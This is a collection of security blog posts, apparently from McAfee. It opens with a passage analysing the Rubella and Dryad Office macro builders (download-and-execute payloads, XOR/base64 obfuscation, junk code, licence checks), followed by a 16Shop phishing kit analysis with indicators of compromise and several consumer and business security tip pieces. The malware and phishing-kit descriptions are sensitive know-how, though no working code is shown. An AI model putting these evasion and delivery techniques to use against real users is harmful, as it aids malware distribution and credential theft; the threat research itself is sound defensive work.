Since Rubella was quite extroverted on the underground forums and had stated Jabber contact details in advertisements we decided to carefully initiate contact with him in the hope that we would get access to some more information. About a week after we added Rubella to our Jabber contact list, we received a careful “Hi.” We started talking and posing as a potential buyer, carefully mentioning our interest the Rubella Macro Builder. During this chat Rubella was quite responsive and as a real businessperson, mentioned that he was offering a new “more exclusive” Macro Builder named Dryad. Rubella proceeded to share a screenshot of Dryad with us.

Screenshot of Dryad shared by Rubella

 Eventually we ended our conversation in a friendly manner and told Rubella we would be in touch if we remained interested.

Dryad Macro Builder

Based on the information provided from the chat with Rubella we performed a quick search for Dryad Macro Builder. We eventually found a sample of the Dryad Macro Builder and decided to further analyze this sample and compare it for overlap with the Rubella Macro Builder.

PE Summary

We noticed that the program was coded in .NET Assembly which is usually a preferred language for less skilled malware coders.

Dynamic Analysis

When we ran the application, it asked us to enter a login and password in order to run.

We also noticed a number-generated HWID (Hardware-ID) that was always the same when running the app. The HWID number is a unique identifier specific to the machine it was running on and was used to register the app.

When trying to enter a random name we detected a remote connection to the website ‘hxxps://tailoredtaboo.com/auth/check.php’ to verify the license.

The request is made with the following parameters ‘hwid=<HWID>&username=<username>&password=<password>’.

Once the app is running and registered it shows the following interface.

In this interface it is possible to see the function proposed by the app and it was similar to the screenshot that was shared during our chat.

Basically, the tool allows the following:

  • Download and execute a malicious executable from an URL
  • Execute a custom command
  • Type of payload can be exe, jar, vbs, pif, scr
  • Modify the dropped filename
  • Load a stub for increase obfuscation
  • Generate a Word or Excel document

It contains an Anti-virus Evasion tab:

  • Use encryption and modify the encryption key
  • Add junk code
  • Add loop code

It also contains a tab which is still in development:

  • Create Jscript or VBscript
  • Download and execute
  • Payload URL
  • Obfuscation with base64 and AMSI bypass which are not yet developed.

Reverse Engineering

The sample is coded in .Net without any obfuscation. We can see in the following screenshot the structure of the file.

Additionally, it uses the Bunifu framework for the graphic interface. (https://bunifuframework.com/)

Main function

The main function launches the interface with the pre-configuration options. We can see here the link to putty.exe (also visible in the screenshots) for the payload that needs to be changed by the user.

Instead of running an executable, it is also possible to run a command.

By default, the path for the stub is the following:

We can clearly see here a link with Rubella.

Licensing function

To use the program, it requires a license, that the user has to enter from the login form.

The following function shows the login form.

To validate the license the program will perform some check and combine a Hardware ID, a username and a password.

The following function generates the hardware id.

It gets information from ‘Win32_Processor class’ to generate the ID.

It collects information from:

  • UniqueId: Globally unique identifier for the processor. This identifier may only be unique within a processor family.
  • ProcessorId: Processor information that describes the processor features.
  • Name: This value comes from the Processor Version member of the Processor Information structure in the SMBIOS information.
  • Manufacturer: This value comes from the Processor Manufacturer member of the Processor Information structure.
  • MaxClockSpeed: Maximum speed of the processor, in MHz.

Then it will collect information from the ‘Win32_BIOS class’.

  • Manufacturer: This value comes from the Vendor member of the BIOS Information structure.
  • SMBIOSVersion: This value comes from the BIOS Version member of the BIOS Information structure
  • IdentificationCode: Manufacturer’s identifier for this software element.
  • SerialNumber: Assigned serial number of the software element.
  • ReleaseDate: Release date of the Windows BIOS in the Coordinated Universal Time (UTC) format of YYYYMMDDHHMMSS.MMMMMM(+-)OOO.
  • Version: Version of the BIOS. This string is created by the BIOS manufacturer.

Then it will collect information from the ‘Win32_DiskDrive class’.

  • Model: Manufacturer’s model number of the disk drive.
  • Manufacturer: Name of the disk drive manufacturer.
  • Signature: Disk identification. This property can be used to identify a shared resource.
  • TotalHead: Total number of heads on the disk drive.

Then it will collect information from the ‘Win32_BaseBoard class’.

  • Model: Name by which the physical element is known.
  • Manufacturer: Name of the organization responsible for producing the physical element.
  • Name,
  • SerialNumber

Then it will collect information from the ‘Win32_VideoController class’.

  • DriverVersion
  • Name

With all that hardware information collected it will generate a hash that will be the unique identifier.

This hash, the username and password will be sent to the server to verify if the license is valid. In the source code we noticed the tailoredtaboo.com domain again.

Generate Macro

To generate a macro the builder is using several parts. The format function shows how each file structure is generated.

The structure is the following:

To save the macro in the malicious doc it uses the function ‘SaveMacro’:

Evasion Techniques

Additionally, it generates random code to obfuscate the content and adds junk code.

The function GenRandom is used to generate random strings, chars as well as numbers. It is used to obfuscate the macro generated.

It also uses a Junk Code function to add junk code into the document:

For additional obfuscation it uses XOR encryption as well as Base64.

Write Macro

Finally, the function WriteMacro, writes the content previously configured:

 

Under construction

We did also notice that the builder uses additional functions that were still under development, as we can see with the “Script Generator” tab.

A message is printed when we click on it and that indicates it is still a function in development.

Additionally, we can see the “Decoy Option” tab which is just a template to create another tab. The tab does not show anything. It seems the author left this tab to create another one.

Rubella Similarities

Dryad is very similar to the Rubella Builder; many hints present in the code confirm the conversation we had with Rubella. Unlike Rubella, Dryad did have a scrubbed PDB path.

Both Rubella builder and Dryad Builder are using the Bunifu framework for the graphic design.

The license check is also the same function, using the domain tailoredtaboo.com, Below is the license check function from the Rubella builder:

Tailoredtaboo.com Analysis

We analyzed the server used to register the builder and discovered additional samples:

Most of these samples were Word documents generated with the builder.

A quick search into the domain Tailoredtaboo showed that it had several subdomains, including a control panel on a subdomain named cpanel.tailoredtaboo.com.

The cPanel subdomain had the following login screen in the Dutch language.

The domain tailoredtaboo.com has been linked to malicious content in the past. On Twitter the researcher @nullcookies reported in April 2018 that he found some malicious files hosted on the specific domain. In the directory listing of the main domain there were several files also mentioning the name Rubella.

TailoredTaboo.com mentioned on Twitter

 

Based on all the references, and the way the domain Tailoredtaboo.com was used, we believe that the domain plays a central administrative role for both Rubella and Dryad Macro Builder and can provide insight into the customers of both Macro Builders

Conclusion

Toolkits that build weaponized Office documents, like Dryad and Rubella, cater to the increasing cybercriminal demand of this type of infection vector. With the arrest of the suspect comes an end to the era of Dryad and Rubella Macro Builder. Based on his activity, the suspect looked like quite the cybercriminal entrepreneur, but given his young age this is also a worrisome thought. If only he would have used his skills for good. The lure of quick cash was apparently more enticing than building a solid long-term career. We at McAfee never like to see young talented individuals heading down a dark path.

Indicators of Compromise

URL / Website:

hxxps://tailoredtaboo.com/auth/check.php

Hash Builder:

  • Dryad: 7d1603f815715a062e18ae56ca53efbaecc499d4193ea44a8aef5145a4699984
  • Rubella: 2a20d3d9ac4dc74e184676710a4165c359a56051c7196ca120fcf8716b7c21b9

Hash related samples:

93db479835802dc22ba5e55a7915bd25f1f765737d1efab72bde11e132ff165a

ad2f9ef7142a43094161eae9b9a55bfbb6dff85d890d1823e77fc4254f29ef17

c2c2fdcc36569f6866e19fcda702c823e7bf73d5ca394652ac3a0ccc6ff9c905

3c55e54f726758f5cb0d8ef81be47c6612dba5a73e3a29f82b73a4c773e691a3

74c8389f20e50ae3a9b7d7e69f6ae7ed1a625ccc8bb6a52b3cc435cf94e6e2d3

388ee9bc0acaeec139bc17bceb19a94071aa6ae43af4ec526518b5e1f1f38f07

08694ad23cafe45495fa790bfdc411ab5c81cc2412370633a236c688b07d26aa

428a30b8787d2ba441dba1dbc3acbfd40cf7f2fc143131a87a93f27db96b7a75

93db479835802dc22ba5e55a7915bd25f1f765737d1efab72bde11e132ff165a

c777012abe224126dca004561619cb0791096611257099058ece1b8d001277d0

5b773acad7da2f33d86286df6b5e95ae355ac50d143171a5b7ee61d6b3cad6d5

a17e3c2271a94450a7a7c6fcd936f177fc40ea156de4deafdfc14fd5aadfe503

1de0ebc0c375332ec60104060eecad77e0732fa2ec934f483f330110a23b46e1

b7a86965f22ed73de180a9f98243dc5dcfb6ee30533d44365bac36124b9a1541

The post McAfee ATR Aids Police in Arrest of the Rubella and Dryad Office Macro Builder Suspect appeared first on McAfee Blogs.

Could a Dropped USB Drive Expose You to Malware?

USB drives seem harmless enough and they’re a convenient way to store, back up, or transfer files from your computer. So If you spot a USB drive sitting on the ground or in your office, should you assume someone lost their files? Or is it a hacker baiting you into compromising your computer and network?

On the latest episode of “Hackable?” Geoff learns if USB drives are dangerous and — with the help of white-hat hacker Tim Martin — sets his own trap for Pedro. Listen and learn how to protect your network from dropped drives, and if Pedro takes the bait.

Listen now to the award-winning podcast “Hackable?”.

The post Could a Dropped USB Drive Expose You to Malware? appeared first on McAfee Blogs.

Cybersecurity Hygiene: 8 Steps Your Business Should be Taking

Whether you’re managing your enterprise’s cybersecurity or you’ve outsourced it to a service provider, you’re ultimately the one that will be held accountable for a data breach. If your vendor loses your data, your customers and board of directors will likely still hold you responsible.

McAfee’s recent report, Grand Theft Data II: The Drivers and Shifting State of Data Breaches, reveals a majority of IT professionals have experienced at least one data breach, and on average have dealt with six breaches over the course of their career. Nearly three-quarters of all breaches have required public disclosure or have affected financial results.

Enterprise threats are increasing in number and sophistication, while rapidly targeting new vulnerabilities. And while, the top three vectors for exfiltrating data were database leaks, cloud applications, and removable USB drives, IT professionals are most worried about leaks from cloud enterprise applications such as Microsoft OneDrive, Cisco WebEx, and Salesforce.com.

Cybersecurity hygiene best practices must not only be established but updated and followed to keep up with these agile, versatile threats. Here are eight steps your business should be taking to implement better cybersecurity hygiene:

  1. Educate Your Teams All employees are part of an organization’s security posture. And yet, 61% of IT professionals say their executives expect more lenient security policies for themselves, and 65% of those respondents believe this leniency results in more incidents. Do as I say, not as I do can be dangerous. It’s imperative that you develop a continuing cybersecurity education program for all enterprise teams including best practices for passwords and how to detect phishing emails. Your program should include re-education processes for your IT team on breach targets such as default accounts and missing patches.
  2. Timely Patches and Updates – The Data Exfiltration Report found that IT was implicated in most data breaches, and much of this can be attributed to failures in cybersecurity hygiene, such as the failure to get a security patch out across the enterprise within 24 to 72 hours. Or failing to check that all available updates are accepted on every device. The vulnerabilities these patches and updates are designed to address can remain vulnerable for months despite the availability of the fixes. Cloud and SaaS operations have proven that automated patching testing and deployment works well with minimal downside risk.
  3. Implement Data Loss Policies (DLP) Data loss prevention requires thinking through the data, the applications, and the users. Most security teams continue to operate in isolation, with 81% reporting separate policies or management consoles for cloud access security brokers (CASBs) and data loss prevention (DLP). It is more important than ever to have a set of consistent Data Loss Prevention (DLP) policies that protect data everywhere it’s stored, including the cloud and corporate endpoints, networks, or unmanaged devices.
  4. Pay Attention to Cloud Security Settings – Cloud applications are where the bulk of your data resides, and data is what most cybercriminals are after. As Dev Ops moves more workloads to the cloud your enterprise needs to pay attention to the security setting of the cloud instances it uses and be aware of the security associated with the underlying infrastructure. Many security measures and considerations in the cloud are the same as on-prem, but some are different. Understanding the security of the cloud you choose and the applications that you use in the cloud are a critical part of securely navigating digital transformation.
  5. Technology Integration and Automation – One of the top actions cited for reducing future breach risks is integrating the various security technologies into a more cohesive defense. A lack of integration between security products allows suspicious activity to dwell unnoticed. If an attack is identified and blocked, all entry points should be instantly informed. If a compromised device is detected, security products should automatically scan all other devices for evidence of similar compromise, and quarantine affected systems. Automation allows machines to make these decisions based on policy set by the security team and accelerates time to detection and remediation without incurring material risk of unintended IT consequences.
  6. Deploy and Activate CASB, DLP, EDR – A Cloud Attack Security Broker (CASB) automatically classifies sensitive information, enforces security policies such as data loss prevention, rights management, data classification, threat protection, and encryption. Data Loss Prevention (DLP) safeguards intellectual property and ensures compliance by protecting sensitive data. Endpoint Detection and Response (EDR) can help your enterprise gain visibility into emerging threats with little maintenance and by monitoring endpoint activity, detecting suspicious behavior, making sense of high-value data, and understanding context. EDR can also reduce your need for additional SOC resources.
  7. Run Proper Device Audits –It’s important to regularly review device encryption on all devices including laptops, tablets, and mobile phones. Using multifactor identification strengthens your security beyond common sense steps like evaluating and promoting password strength.
  8. Have an Incident Response Plan – You may have only minutes and hours to act on a cyberattack. Good intentions aren’t enough to effectively respond and remedy a security breach. Be prepared before it happens. An Incident Response Plan is integral in helping your enterprise respond more effectively, reduce business disruptions and a loss of reputation.

For more on how to improve your enterprise’s cybersecurity hygiene using automation, integration, and cloud-based deployment and analytics, check out McAfee MVISION EDR.

The post Cybersecurity Hygiene: 8 Steps Your Business Should be Taking appeared first on McAfee Blogs.

How to Prevent Insider Data Breaches at your Business

Guest article by Dan Baker of SecureTeam

Majority of security systems are installed to try and forestall any external threats to a business’ network, but what about the security threats that are inside your organisation and your network?

Data breaches have the potential to expose a large amount of sensitive, private or confidential information that might be on your network. Insider threats are a significant threat to your business and are increasingly being seen as an issue that needs dealing with.

SecureTeam are experts in cybersecurity and provide a variety of cybersecurity consultation solutions to a range of businesses. They have used their extensive knowledge of internal network security to write this handy guide to help businesses protect themselves from insider data breaches.

Who is considered an Insider Threat?

Insider threats can come from a variety of different sources and can pose a risk to your business that you might not have considered.

Malicious Insider 
This is when an employee who might have legitimate access to your network has malicious intentions and uses that access to intentionally leak confidential data. Employees who intentionally provide access to the network to an external attacker are also included in this threat.

Accidental Insider
This is when an employee makes an honest mistake that could result in a data breach. Something as simple as opening a malicious link in an email or sending sensitive information to the wrong recipient are all considered data breaches. The main cause of accidental insider data breaches is poor employee education around security and data protection and can be avoided by practising good security practices.

Third Party
There is a data protection risk that arises when third-party contractors or consultants are provided with permission to access certain areas of the network. They could, intentionally or unintentionally, use their permission to access private information and potentially cause a data breach. Past employees who haven’t had their security access revoked could also access confidential information they are no longer entitled too and could be seen as a threat.

Social Engineers
Although this threat is technically external a social engineers aim is to exploit employees by interacting with them and then attempting to manipulate them into providing access to the network or revealing sensitive information.

Data breaches from internal threats have the potential to cause the loss of sensitive or confidential information that can damage your business’ reputation and cost you a significant amount of money. There are some ways you can attempt to prevent insider data breaches, however. 

How to prevent Data Breaches

There are a few simple ways you can try to prevent an internal data breach, including:

Identify your Sensitive Data
The first step to securing your data is to identify and list all of the private information that you have stored in your network and taking note of who in your organisation has access to it. By gathering all of this information you are able to secure it properly and create a data protection policy which will help keep your sensitive data secure.

Create a Data Protection Policy
A data protection policy should outline the guidelines regarding the handling of sensitive data, privacy and security to your employees. By explaining to your staff what they are expected to do when handling confidential information you reduce the risk of an accidental insider data breach.

Create a Culture of Accountability
Both employees and managers should be aware of and understand their responsibilities and the responsibilities of their team when it comes to the handling of sensitive information. By making your team aware of their responsibilities and the consequences of mistakes and negative behaviour you can create a culture of accountability. This also has the more positive effect of highlighting any issues that exist before they develop into full problems which can then be dealt with training or increased monitoring.

Utilise Strong Credentials & Access Control
By making use of stronger credentials, restricting logins to an onsite location and preventing concurrent logins you can make your network stronger and remove the risk of stolen credentials being used to access the network from an external location.

Review Accounts and Privileged Access
It is important that you regularly review your user's privileges and account logins to ensure that any dormant accounts no longer have access to private information and that users don’t have unnecessary access to data. This helps to reduce the risks of both accidental and malicious insider data breaches.

Conclusion
The threat of an insider data breach continues to be an issue to businesses throughout a range of sectors. However, by putting a plan in place for these insider security threats it improves the speed and effectiveness of your response to any potential issues that arise.

It is sensible to assume that most, if not all, businesses will come under attack eventually and by taking the threat seriously and adhering to the best security practices then you can help to prevent an attack turning into a full-blown data breach.

Family Safety: Twitter, Instagram Beef Up Measures to Fight Hate Speech, Bullying

The past few weeks have proven to be wins for family safety with several top social networks announcing changes to their policies and procedures to reduce the amount of hateful conduct and online bullying.

Twitter: ‘Dehumanizing Language Increases Risk’

In response to rising violence against religious minorities, Twitter said this week that it would update its hateful conduct rules to include dehumanizing speech against religious groups.

“Our primary focus is on addressing the risks of offline harm, and research shows that dehumanizing language increases that risk . . . we’re expanding our rules against hateful conduct to include language that dehumanizes others based on religion,” the company wrote on its Twitter Safety blog.

Twitter offered two resources that go in-depth on the link between dehumanizing language and offline harm that is worth reading and sharing with your kids. Experts Dr. Susan Benesch and Nick Haslam and Michelle Stratemeyer define hate speech, talk about its various contexts, and advise on how to counter it.

Instagram: ‘This intervention gives people a chance to reflect.’ 

Instagram announced it would be rolling out two new features to reduce potentially offensive content. The first, powered by artificial intelligence, prompts users to pause before posting. For instance, if a person is about to post a cruel comment such as “you are so stupid,” the user will get a pop-up notification asking, “are you sure you want to post this?”

A second anti-bullying function new to Instagram is called “Restrict,” a setting that will allow users to indiscreetly block bullies from looking at your account. Restrict is a quieter way to cut someone off from seeing your content than blocking, reporting, or unfollowing, which could spark more bullying.

These digital safety moves by both Instagram and Twitter are big wins for families concerned about the growing amount of questionable content and bullying online.

If you get a chance, go over the basics of these new social filters with your kids.

Other ways to avoid online bullying:

Wise posting. Encourage kids to pause and consider tone, word choice, and any language that may be offensive or hurtful to another person, race, or gender. You are your child’s best coach and teacher when it comes to using social apps responsibly.

Stay positive and trustworthy. Coach kids around online conflict and the importance of sharing verified information. Encourage your child to be part of the solution in stopping rumors and reporting digital skirmishes and dangerous content to appropriate platforms.

Avoid risky apps. Apps like ask.fm allow anonymity should be off limits. Kik Messenger, Yik Yak, Tinder, Down, and Whisper may also present risks. Remember: Any app is risky if kids are reckless with privacy settings, conduct, content, or the people they allow to connect with them.

Layer security. Use a comprehensive solution to help monitor screentime, filter content, and monitor potentially risky apps and websites.

Monitor gaming communities. Gaming time can skyrocket during the summer and in a competitive environment, so can cyberbullying. Listen in and monitor game time conversations and make every effort to help him or her balance summer gaming time.

Make profiles and photos private. Require kids under 18 to make all social profiles private. By doing this, you limit online circles to known friends and reduces the possibility of cyberbullying and online conflict.

The post Family Safety: Twitter, Instagram Beef Up Measures to Fight Hate Speech, Bullying appeared first on McAfee Blogs.

Ready, Set, Shop: Enjoy Amazon Prime Day Without the Phishing Scams

Amazon Prime Day is becoming one of the hottest shopping periods for the summer. However, it is also becoming one of the hottest opportunities for cybercriminals, as hackers target shoppers in a number of ways during peak shopping moments to steal personal data or financial information. In fact, researchers at McAfee Labs have uncovered a phishing kit specifically created to steal personal information from Amazon customers in America and Japan.

How exactly does this phishing kit work? The kit allows hackers to create phishing emails that look like they have come from Amazon. The emails prompt users to share their login credentials on a malicious website. Once the victim hands over their login, the hackers can use the victim’s account to make fraudulent purchases and steal their credit card information saved in their Prime account.

According to McAfee Labs researchers, this phishing scam has already seen widespread use, with over 200 malicious URLs being used to prey on innocent online shoppers. Additionally, the phishing kit is being sold through an active Facebook group with over 300 members and 200 posts in recent weeks. McAfee has notified Facebook of the existence of this group. The social network has taken an active posture in recent months of taking down groups transacting in such malicious content.

So, what does this threat mean for Amazon users? If you’re planning on participating in Prime Day, follow these security steps to help you swerve malicious cyberattacks:

  • Beware of bogus deals. If you see an ad for Prime Day that looks too good to be true, chances are that the ad isn’t legitimate.
  • Think before you click. Be skeptical of ads shared on social media sites, emails, and messages sent to you through platforms like Facebook, Twitter, and WhatsApp. If you receive a suspicious message regarding Prime Day, it’s best to avoid interacting with the message.
  • Do your due diligence with discount codes. If a discount code lands in your inbox, you’re best off verifying it through Amazon.com directly rather than clicking on any links.

If you do suspect that your Amazon Prime account has been compromised due to a cyberthreat, take the following steps:

  • Change your password. Change the passwords to any accounts you suspect may have been impacted. Make sure they are strong and unique.
  • Keep an eye on your bank account. One of the simplest ways to determine whether someone is fraudulently using your credit card information is to monitor your bank statements. If you see any charges that you did not make, report it to the authorities immediately.
  • Consider using identity theft protection.A solution like McAfee Identify Theft Protection will help you to monitor your accounts and alert you of any suspicious activity.

And, of course, to stay updated on all of the latest consumer and mobile security threats, follow @McAfee_Home on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post Ready, Set, Shop: Enjoy Amazon Prime Day Without the Phishing Scams appeared first on McAfee Blogs.

Is Your WhatsApp Being Weird? You May Need to Check For Hidden Malware

With over 2.5 billion monthly active users that have accumulated since its fruition, Android has seen massive growth over the last 10 years. With so many users, it’s no wonder why cybercriminals continuously look to exploit Android devices. In fact, 25 million Android users have recently been hit with a new malware.

Dubbed Agent Smith, this cyberthreat sneaks onto a user’s device when the user downloads a malicious app from the app store, like a photo utility or game app. The app then silently installs the malware disguised as a legitimate Google updating tool. However, no updating icon appears on the screen, making the user oblivious to their device being in danger. Once installed, the malware replaces legitimate apps on the user’s phone, such as WhatsApp, with an evil update that serves bad ads. According to security researchers, the ads themselves aren’t malicious. But if a victim accidentally clicks on the ad, the hackers can make money from these ad fraud schemes. What’s more, there’s potential that these bad ads aren’t limited to just WhatsApp and could be found on other platforms as well.

So, what can Android users do to prevent this malware from sneaking onto their device? Check out the following tips to help stay secure:

  • Be wary of WhatsApp ads. Android users should take action if they experience advertisements displayed at strange times, such as when they open WhatsApp. The legitimate WhatsApp does not serve ads, so if you experience ads on this platform your device might have been infected.
  • Look out for suspicious apps. Check the apps and notifications section of your Android settings. If you see suspicious apps with names such as Google Updater, Google Installer for U, Google Powers, and Google Installer, uninstall these apps right away.
  • Stay away from unofficial Android stores. Google has extra precautions designed to prevent malware from getting onto the official Android store website, so only downloading apps from there could help protect you.
  • Use a security solution. A solution like McAfee Mobile Security can help Android users stay protected from threats like mobile malware. It also provides a free antivirus cleaner and phone security app to protect your online privacy and enhance device performance.

And, as always, to stay updated on all of the latest consumer and mobile security threats, follow @McAfee_Home  on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post Is Your WhatsApp Being Weird? You May Need to Check For Hidden Malware appeared first on McAfee Blogs.

16Shop Now Targets Amazon

Since early November 2018 McAfee Labs have observed a phishing kit, dubbed 16Shop, being used by malicious actors to target Apple account holders in the United States and Japan. Typically, the victims receive an email with a pdf file attached.

An example of the message within the email is shown below, with an accompanying translation:

When the victims click on the link in the attached pdf file, they are redirected to a phishing site where they will then be tricked in to updating their account information, which often includes credit card details.

The following is one of the many pdf files that we have seen attached to the phishing emails:

The phishing page is shown below:

 

The following image shows the information that is being phished:

The following map shows the locations where we have observed this phishing campaign:

The author of this phishing campaign used the conversion site Pdfcrowd.com to create the malicious pdf file, which was attached in the phishing emails. (The pdf tag can be seen below):

16Shop phishing kit

The phishing kit originates in Indonesia and the code handles multiple languages:

Most phishing kits will email the credit card and account details entered on the site directly to the malicious actor. The 16Shop kit does this, too, and also stores a local copy in other text files. This is a weakness in the kit because anyone visiting the site can download the clear-text files (if the attacker uses the default settings).

The kit includes a local blacklist, which blocks certain IP addresses from accessing the website. This blacklist contains lots of IPs of security companies, including McAfee. The blacklisting prevents malware researchers from accessing the phishing sites. A snippet is shown below:

While looking at the code we observed several comments that appear to be tags of the creator. (More on this later.)

The creator of 16Shop also developed a tool to generate and send the phishing emails. We managed to gain a copy and analyze it.

The preceding configuration shows how an attacker can set the subject field as well as the origin address of the email. While looking through the source files, we noticed the file list.txt. This file contains the list of email addresses that the phisher sends to. The example file uses the address riswandanoor@yahoo.com:

This email, along with the name in the comments from the phishing kit, could potentially tell us some more about the creators of the kit.

The author of 16Shop

The author of the kit goes by the alias DevilScreaM. We gathered lots of information on this actor and found that this individual was involved in the Indonesian hacking group “Indonesian Cyber Army.” Several websites were defaced by this group and tagged by DevilScreaM in 2012.

We found DevilScreaM created the site Newbie-Security.or.id, an Indonesian site of hacking tools frequented by members of the Indonesian Cyber Army. We also discovered two eBooks written by DevilScreaM; they contain advice on website hacking and penetration testing.

The timeline of DevilScreaM’s activity shows a notable change in late 2012 and the middle of 2013. DevilScreaM stopped defacing websites and created an anti-malware product, ScreaMAV, for the Indonesian market. This “white hat” activity did not last. In mid-2013 they began defacing sites again and posting exploits on 0day.today mostly around WordPress vulnerabilities.

DevilScreaM’s GitHub page contains various tools, including a PHP remote shell used on compromised websites as well as commits on the z1miner Monero (XMR) miner tool. in late 2017 DevilScreaM created the 16Shop phishing kit and set up a Facebook group to sell licenses and support. In November 2018. this private group had over 200 members. We checked the group in mid-June 2019 and it now has over 300 members and over 200 posts. Despite the questionable content, the group not only persists unchanged on social media, but continues to grow.

McAfee has notified Facebook of the existence of this group. The social network has taken an active posture in recent months of taking down groups transacting in such malicious content.

Recent News and Switch to Amazon

In May 2019, several blogs were published highlighting that a version of 16shop was cracked which included a backdoor that would send all data via telegram to the author of the kit. We can confirm that this was not present in the version we analysed in November. These leads us to believe that this backdoor was added by a second malicious actor and not the original author of 16Shop.

[Telegram Bot API command from Cracked 16shop kit to send stolen data]

In May 2019, we found a new phishing kit which was targeting Amazon account holders. Looking at the code of the kit, you can see it shows several similarities to the 16shop kit targeting Apple users back in November 2018.

 

[Fake Login page]

[PHP code of Phishing Kit and Admin page]

Around the same time that we discovered the Amazon Phishing Kit, the social media profile picture of the actors we believe are behind 16shop changed to a modified Amazon logo. This reinforces our findings that the same group is responsible for the development of the new malicious kit.

[Obfuscated Profile Pic]

We believe that victims of this kit will be led to the malicious websites via links in phishing emails.

We recommend that if users want to check any account changes on Amazon, which they received via email or other sources, that they go to Amazon.com directly and navigate from there rather than following suspicious links.

Conclusion

During our monitoring, we observed over 200 Malicious URLs serving this phishing kit which highlights its widespread use (all URLs seen have been classified as malicious by McAfee).

The group responsible for 16shop kit continues to develop and evolve the kit to target a larger audience. To protect themselves, users need to be extremely vigilant when receiving unsolicited email and messages.

This demonstrates how malicious actors use legitimate companies to leverage their attacks and gain victims’ trust and it is expected that these kinds of groups will use other companies as bait in the future.

Indicators of compromise

Domains (all blocked by McAfee WebAdvisor)

Apple Kit

  • hxxps://secure2app-accdetall1.usa.cc.servsdlay.com/?16shop
  • hxxps://gexxodaveriviedt0.com/app1esubm1tbybz/?16shop
  • hxxps://gexxodaveriviedt0.com/secur3-appleld-verlfy1/?16shop
  • hxxps://sec2-accountdetail.accsdetdetail.com/?16shop

Amazon Kit

  • verification-amazonaccess.secure.dragnet404.com/
  • verification-amazon.servicesinit-id.com/
  • verification-amazonlocked.securesystem.waktuakumaleswaecdvhb.com/
  • verification-amazonaccess.jaremaubalenxzbhcvhsd.business/
  • verification-amazon.3utilities.com/
  • verification-amaz0n.com/

McAfee detections

  • PDF/16shop! V2 DAT =9086 , V3 DAT = 3537

Hashes (SHA-256)

  • 34f33612c9f6b132430385e6dc3f8603ff897d34c780bfa5a4cf7663922252ba
  • b43c2ba4e312d36a1b7458d1342600957e0daf3d1fcd8c7324afd387772f2cc0
  • 569612bd90de1a3a5d959abb12f0ec66f3696113b386e4f0e3a9face084b032a
  • d9070e68911db893dfe3b6acc8a8995658f2796da44f14469c73fbcb91cd1f73

For more information on phishing attacks:

The post 16Shop Now Targets Amazon appeared first on McAfee Blogs.

ST06: Building Resilience with Cyber Threat Intelligence with Mo Cashman, Martin Ohl, and Leon Ward

McAfee’s Director of Solution Architects and Principal Engineer, Mo Cashman and Solution Architect, Martin Ohl team up with ThreatQuotient’s VP of Product Management, Leon Ward to discuss the lies and myths of threat intelligence.

The post ST06: Building Resilience with Cyber Threat Intelligence with Mo Cashman, Martin Ohl, and Leon Ward appeared first on McAfee Blogs.

Tips for the IT Department on Reducing Cyber Clutter

Just like kitchen drawers and closets, computers accumulate clutter over time. And when you have an entire organization’s worth of people to watch and exponential amounts of data collected every day, it takes more than a day of spring cleaning to get your environment clean.  Clearing out your team’s cyber clutter will not only help make the business more organized and productive, but it will also mitigate the vulnerabilities that accompany the clutter.

Here are four areas you should de-clutter to ensure your organization’s digital presence is clean:

1.    Physical Devices

Physical devices can take up most of your organizational environment, from user computers to firewalls. All of these devices have proprietary information of some form on them, so it’s wise to keep them at the forefront of your decluttering.

Here’s a few tips:

  • Create and enforce policies and procedures for your organization’s documents.
    • Implement a document deletion policy and make sure your team is aware of it. You don’t want a user’s computer to be stolen with years’ worth of documents stored on it.
    • Consider how sensitive documents are handled. These are documents that should not be accessed by the general organization, should not be stored on a local machine, and may need to be encrypted.
    • If you have a cloud storage solution, enforce automatic backup for users. This enables you to have a better view of what your users are storing and what they are doing with those documents.

2.    Cloud Storage

Because cloud storage doesn’t take up space in your server room, it’s easy to forget to quality control it as you do your physical storage. And while cloud storage is generally hosted by trusted service providers, we’ve seen these servers open in the wild before.

When cloud storage applications are one of the easiest ways to exfiltrate company data, it’s important to regulary clean them out and restrict access as appropriate.

  • Are you currently restricting what cloud storage systems your users are able to access? This is a twofold concern as having company accounts attached to multiple cloud systems opens up avenues for attackers and data exfiltration.
  • Enforce your company document policies and procedures with your cloud storage. It’s actually easier to enforce some policies within the cloud, such as least privilege permissions.
  • Utilize the built-in security features that many cloud storage apps have. These can protect against data exfiltration or alert for suspicious activity.

3.    Email

Email accounts are some of the largest data hubs, storing information about an account’s owner and everyone they interact with. Think of the email accounts of the members of your HR department, full of employees’ sensitive data.

When addressing the security of your company’s email accounts, consider:

  • Do you have a limit on how much data a single inbox can hold?
    • If you don’t have a limit, do you have a widely known policy on the importance of cleaning out your email boxes every so often? This depends on your organization, but your users should be informed of the risks of keeping their friend’s vendor’s personal contact information in their inbox for six months.
  • Sometimes it’s surprising what capabilities users are unaware of within their emails. It’s a great idea to empower your users to utilize your email service’s tools by providing them with guides for things like how to:
    • Search for sensitive data to quickly find and delete it,
    • Set up automatic deletion rules, and
    • Set up rules that screen their inbox for marketing or important emails.
  • If your organization has a data retention policy, make sure that emails are included in it. This will affect the permissions your users have; for example, you can completely remove users’ ability to delete emails within their individual inboxes.

4.    Apps

Oftentimes we forget the pervasiveness of apps, whether they’re on our computer or mobile devices. Most companies are utilizing Mobile Device Management (MDM) for their devices.

However, an MDM still needs to be reviewed and have proper enforcements put in place.  Consider:

  • Are apps restricted only to the people that need them? For example, your marketing team may need access to Facebook and Instagram, but your engineers do not.
  • If there are accounts or subscriptions associated with an app, be sure to document all of the relevant information. You don’t want to run into a situation where an employee leaves the organization, but they were the sole owner of applications important to the organizational workflow.
  • All apps should be as securely configured as possible; however, sometimes apps make this difficult by hiding the settings in question. Review all apps and create procedures for secure configuration before they are allowed to the general population of your organization.

Other Things to Think about

  • For organizations that utilize photography or videography, keep in mind that this type of data is just as vulnerable as a text document. Your organizational data policies apply here, perhaps even more stringently.
  • Password keepers are a great method of ensuring that users adhere to proper password practice, such as using strong and unique passwords. Make sure the user is aware of how to properly use the password keeper, otherwise they may find ways to avoid using it.
  • Implement a company-wide multi-factor authentication policy to prevent unauthorized access to your systems. It’s also important to judge your needs of security and your users’ acceptance to see if you should invest in hard tokens instead of the more common soft tokens like authentication apps.

By following the tips above to de-clutter your IT environment, you will ultimately help your organization become more secure.

The post Tips for the IT Department on Reducing Cyber Clutter appeared first on GRA Quantum.

Summer Reading and Listening: Dive in, Developers!

Veracode Developer Summer Reading List

